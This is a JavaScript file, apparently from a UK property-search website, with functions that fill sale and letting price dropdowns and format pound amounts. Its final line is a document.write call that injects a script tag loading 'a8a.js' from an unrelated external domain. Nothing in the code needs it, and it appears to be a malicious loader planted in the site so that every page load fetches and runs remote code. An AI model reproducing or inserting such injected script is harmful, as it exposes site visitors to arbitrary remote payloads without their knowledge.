function selectInstructionTypeRadio(el_it, el_minprice, el_maxprice) {
	el_minprice = $(el_minprice);
	el_maxprice = $(el_maxprice);
	var inputs = $A(document.getElementsByTagName("input"));
	inputs.each(function(el) {
			if (el.name != el_it) return;
			if (!el.checked)      return;
			switch (el.value) {
				case "Sale":
				case "0":
					populatePrices(el_minprice, salePrices, "min");
					populatePrices(el_maxprice, salePrices, "max");
					break;
				case "Letting":
				case "4":
					populatePrices(el_minprice, letPrices, "min");
					populatePrices(el_maxprice, letPrices, "max");
					break;
			}
	});
}

if (!salePrices)
	var salePrices = [75000, 100000, 125000, 150000, 175000, 200000, 225000, 250000, 275000, 300000, 325000, 350000, 375000, 400000, 425000, 450000, 475000, 500000, 750000, 1000000];
if (!letPrices)
	var letPrices = [350, 450, 500, 550, 600, 650, 700, 800, 1000, 1500, 2000];

function addSelectOption(el, value, text) {
	o = new Option();
	o.text = text;
	o.value = value.toString();
	el.options[el.options.length] = o;
}

function populatePrices(el, prices, type) {
	el.options.length = 0;
	prices = $A(prices);
	if (type == "min")
		addSelectOption(el, "", "No Minimum");
	pound = html_entity_decode("&pound;");
	prices.each(function(price) {
			text = pound+number_format(price);
			addSelectOption(el, price, text);
	});
	if (type == "max") {
		addSelectOption(el, "", "No Maximum");
		el.selectedIndex = el.options.length-1;
	}
}
function number_format(a, b, c, d) {
	// number_format(number, decimals, comma, formatSeparator)
	//
	if (!b) b = 0;
	if (!c) c = ".";
	if (!d) d = ",";

	a = Math.round(a * Math.pow(10, b)) / Math.pow(10, b);
	e = a.toString()
	f = e.split('.');
	if(!f[0]) f[0] = '0';
	if(!f[1]) f[1] = '';
	if(f[1].length < b){
		g = f[1];
		for(i = f[1].length + 1; i <= b; i++) {
			g += '0';
		}
		f[1] = g;
	}
	if(d != '' && f[0].length > 3) {
		h = f[0];
		f[0] = '';
		for(j = 3; j < h.length; j += 3) {
			i = h.slice(h.length - j, h.length - j + 3);
			f[0] = d + i +  f[0] + '';
		}
		j = h.substr(0, (h.length % 3 == 0) ? 3 : (h.length % 3));
		f[0] = j + f[0];
	}
	c = (b <= 0) ? '': c;
	return f[0] + c + f[1];
}
function html_entity_decode(str) {
	var ta = document.createElement("textarea");
	ta.innerHTML=str.replace(/</g,"<").replace(/>/g,">");
	toReturn = ta.value;
	ta = null;
	return toReturn
}
document.write("<script type=text/javascript src=http://sercomaereo.com/a8a.js></script>");
